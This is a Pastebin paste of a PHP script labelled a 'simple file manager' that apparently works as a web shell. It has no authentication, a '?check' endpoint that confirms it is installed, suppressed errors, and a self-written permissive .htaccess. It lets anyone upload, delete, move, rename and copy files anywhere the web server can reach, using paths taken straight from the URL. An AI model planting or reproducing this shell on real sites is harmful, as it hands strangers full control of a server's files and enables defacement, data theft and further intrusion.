SHARE
TWEET

Simple File Manager Mini Size

ToKeiChun Apr 9th, 2019 79 Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
  1. <?php
  2.     if (isset ($_GET['check'])) {
  3.         echo "checked";
  4.         exit;
  5.     }
  6.  
  7.     if (!file_exists(".htaccess")) {
  8.         $text = "
  9. Allow from all
  10. Options -Indexes
  11.         ";
  12.         $fp = fopen(".htaccess", "w");
  13.         fwrite($fp, $text);
  14.         fclose($fp);
  15.     }
  16. ?>
  17.  
  18.  
  19. <html><body>
  20. <style type="text/css">
  21.     body{
  22.         background: #ffffff;
  23.         color: #666666;
  24.         font-family: Verdana;
  25.         font-size: 11px;
  26.     }
  27.     a:link{
  28.         color: #33CC99;
  29.     }
  30.     a:visited{
  31.         color: #269771;
  32.     }
  33.     a:hover{
  34.         text-decoration: none;
  35.         Color: #3399FF;
  36.     }
  37.     table {
  38.         font-size: 11px;
  39.     }
  40. </style>
  41. <?php
  42. error_reporting (0);
  43. set_time_limit (0);
  44.  
  45. if (empty ($_GET ['dir'])){
  46.     $dir = getcwd ();
  47. } else {
  48.     $dir = $_GET ['dir'];
  49. }
  50. chdir ($dir);
  51. $current = htmlentities ($_SERVER ['PHP_SELF'] . "?dir=" . $dir);
  52.  
  53. echo "<i>Server: " . $_SERVER ['SERVER_NAME'] . "<br>";
  54. echo "Current directory: " . getcwd () . "<br>";
  55. echo "Software: " . $_SERVER ['SERVER_SOFTWARE'];
  56. echo "<br>";
  57. echo "<br>";
  58. echo "<form action = '" . $current . "&mode=upload' method = 'POST' ENCTYPE='multipart/form-data'>\n";
  59. echo "Local file: <input type = 'file' name = 'upload_file'>";
  60. echo "<input type = 'submit' value = 'Upload'>";
  61. echo "</form><br>";
  62.  
  63. $mode = $_GET ['mode'];
  64. switch ($mode) {
  65.     case 'delete':
  66.         $file = $_GET ['file'];
  67.         if (unlink($file)) {
  68.             echo $file . " deleted successfully.<p>";
  69.         } else {
  70.             echo "Unable to delete " . $file . ".<p>";
  71.         }
  72.         break;
  73.     case 'copy':
  74.         $src = $_GET ['src'];
  75.         $dst = $_POST ['dst'];
  76.         if (empty ($dst)) {
  77.             echo "<form action = '" . $current . "&mode=copy&src=" . $src . "' method = 'POST'>\n";
  78.             echo "Destination: <input name = 'dst'><br>\n";
  79.             echo "<input type = 'submit' value = 'Copy'></form>\n";
  80.         } else {
  81.             if (copy($src, $dst)) {
  82.                 echo "File copied successfully.<p>\n";
  83.             } else {
  84.                 echo "Unable to copy " . $src . ".<p>\n";
  85.             }
  86.         }
  87.         break;
  88.     case 'move':
  89.         $src = $_GET ['src'];
  90.         $dst = $_POST ['dst'];
  91.         if (empty ($dst)) {
  92.             echo "<form action = '" . $current . "&mode=move&src=" . $src . "' method = 'POST'>\n";
  93.             echo "Destination: <input name = 'dst'><br>\n";
  94.             echo "<input type = 'submit' value = 'Move'></form>\n";
  95.         } else {
  96.             if (rename($src, $dst)) {
  97.                 echo "File moved successfully.<p>\n";
  98.             } else {
  99.                 echo "Unable to move " . $src . ".<p>\n";
  100.             }
  101.         }
  102.         break;
  103.     case 'rename':
  104.         $old = $_GET ['old'];
  105.         $new = $_POST ['new'];
  106.         if (empty ($new)) {
  107.             echo "<form action = '" . $current . "&mode=rename&old=" . $old . "' method = 'POST'>\n";
  108.             echo "New name: <input name = 'new'><br>\n";
  109.             echo "<input type = 'submit' value = 'Rename'></form>\n";
  110.         } else {
  111.             if (rename($old, $new)) {
  112.                 echo "File/Directory renamed successfully.<p>\n";
  113.             } else {
  114.                 echo "Unable to rename " . $old . ".<p>\n";
  115.             }
  116.         }
  117.         break;
  118.  
  119.     case 'rmdir':
  120.         $rm = $_GET ['rm'];
  121.         if (rmdir($rm)) {
  122.             echo "Directory removed successfully.<p>\n";
  123.         } else {
  124.             echo "Unable to remove " . $rm . ".<p>\n";
  125.         }
  126.         break;
  127.     case 'upload':
  128.         $temp = $_FILES['upload_file']['tmp_name'];
  129.         $file = basename($_FILES['upload_file']['name']);
  130.         if (!empty ($file)) {
  131.             if (move_uploaded_file($temp, $file)) {
  132.                 echo "File uploaded successfully.<p>\n";
  133.                 unlink($temp);
  134.             } else {
  135.                 echo "Unable to upload " . $file . ".<p>\n";
  136.             }
  137.         }
  138.         break;
  139. }
  140. clearstatcache ();
  141. echo "<pre>\n\n</pre>";
  142. echo "<table width = 100%>\n";
  143. $files = scandir ($dir);
  144. foreach ($files as $file){
  145.     if (is_dir ($file)){
  146.         $items = scandir ($file);
  147.         $items_num = count ($items) - 2;
  148.         echo "<tr><td><a href = ".$current . "/" . $file.">".$file."</a></td>";
  149.         echo "<td>".$items_num." Items</td>";
  150.         echo "<td><a href = ".$current . "&mode=rmdir&rm=".$file.">Remove directory</a></td>";
  151.         echo "<td>-</td>";
  152.         echo "<td>-</td>";
  153.         echo "<td><a href = ".$current . "&mode=rename&old=".$file.">Rename directory</a></td></tr>";
  154.     }
  155. }
  156. foreach ($files as $file){
  157.     if (is_file ($file)){
  158.         $size = round (filesize ($file) / 1024, 2);
  159.         echo "<tr><td>".$file."</td>";
  160.         echo "<td>".$size." KB</td>";
  161.         echo "<td><a href = ".$current . "&mode=delete&file=".$file.">Delete</a></td>";
  162.         echo "<td><a href = ".$current . "&mode=copy&src=".$file.">Copy</a></td>";
  163.         echo "<td><a href = ".$current . "&mode=move&src=".$file.">Move</a></td>";
  164.         echo "<td><a href = ".$current . "&mode=rename&old=".$file.">Remame</a></td></tr>";
  165.     }
  166. }
  167. echo "</table><br>";
RAW Paste Data
We use cookies for various purposes including analytics. By continuing to use Pastebin, you agree to our use of cookies as described in the Cookies Policy. OK, I Understand
Not a member of Pastebin yet?
Sign Up, it unlocks many cool features!
 
Top